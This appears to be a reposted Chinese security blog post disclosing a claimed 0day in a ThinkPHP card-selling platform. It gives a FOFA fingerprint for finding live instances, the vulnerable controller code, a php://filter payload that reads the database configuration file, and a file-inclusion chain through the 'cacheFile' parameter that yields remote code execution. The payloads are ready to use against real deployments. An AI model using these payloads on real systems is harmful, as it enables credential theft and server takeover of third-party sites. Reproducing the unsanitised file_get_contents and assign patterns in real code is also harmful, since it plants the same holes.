0x00 前言
Fofa:"/static/app/mode_yunyi/css/mobile.css"
框架:ThinkPHP Debug:True
0x01 前台任意文件读取漏洞
位于 /wechat/controller/Review.php 控制器的 img 方法存在file_get_contents函数,且传参url可控,且无有效鉴权,导致漏洞产生.
/**
* 微信图片显示
*/
public function img()
{
$url = $this->request->get('url', '');
$filename = FileService::getFileName($url, 'jpg', 'tmp/');
if (false === ($img = FileService::getFileUrl($filename))) {
$info = FileService::save($filename, file_get_contents($url));
$img = (is_array($info) && isset($info['url'])) ? $info['url'] : $url;
}
$this->redirect($img);
}
我们追踪一下 getFileName 函数 extendserviceFileService.php 实际上这里是md5命名了一下传入的文件名,然后直接返回地址.
public static function getFileName($location, $ext = '', $pre = '')
{
return $pre . join('/', str_split(md5($location), 16)) . '.' . $ext;
}
最后使用Save函数保存文件,之后浏览器直接就会跳转到读入的文件地址中.
/**
* 根据当前配置存储文件
* @param string $filename
* @param string $content
* @param string|null $file_storage
* @return array|false
*/
public static function save($filename, $content, $file_storage = null)
{
$type = empty($file_storage) ? sysconf('storage_type') : $file_storage;
if (!method_exists(__CLASS__, $type)) {
Log::error("保存存储失败,调用{$type}存储引擎不存在!");
return false;
}
return self::$type($filename, $content);
}
有趣的是,这里因为是file_get_contents 所以支持伪协议,同时也支持Phar协议!
Payload:
/wechat/Review/img?url=php://filter/read=/resource=application/database.php
攻击之后就会跳转到图片地址,直接访问即可读取数据库配置文件
0x02 前台任意文件包含漏洞
位于 /wechat/controller/Review.php 控制器的 index 方法存在 assign 函数,且第一个传参可控,导致漏洞产生
/**
* 显示手机预览
* @return string
*/
public function index()
{
$get = $this->request->get();
$content = str_replace("n", "<br>", $this->request->get('content', '')); // 内容
$type = $this->request->get('type', 'text'); // 类型
$this->assign('type', $type);
// 图文处理
if ($type === 'news' && is_numeric($content) && !empty($content)) {
$news = WechatService::getNewsById($content);
$this->assign('articles', $news['articles']);
}
// 文章预览
if ($type === 'article' && is_numeric($content) && !empty($content)) {
$article = Db::name('WechatNewsArticle')->where('id', $content)->find();
if (!empty($article['content_source_url'])) {
$this->redirect($article['content_source_url']);
}
$this->assign('vo', $article);
}
$this->assign($get);
$this->assign('content', $content);
// 渲染模板并显示
return view();
}
可以先通过0x01的任意文件读取漏洞远程写入一个文件内容为<?php phpinfo();?>的 jpg文件,然后再包含即可组合拳构成Getshell
Payload:
/wechat/Review?cacheFile=./图片路径
原文始发于微信公众号(星悦安全):来发卡自动发卡平台审计+组合拳RCE(0day)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论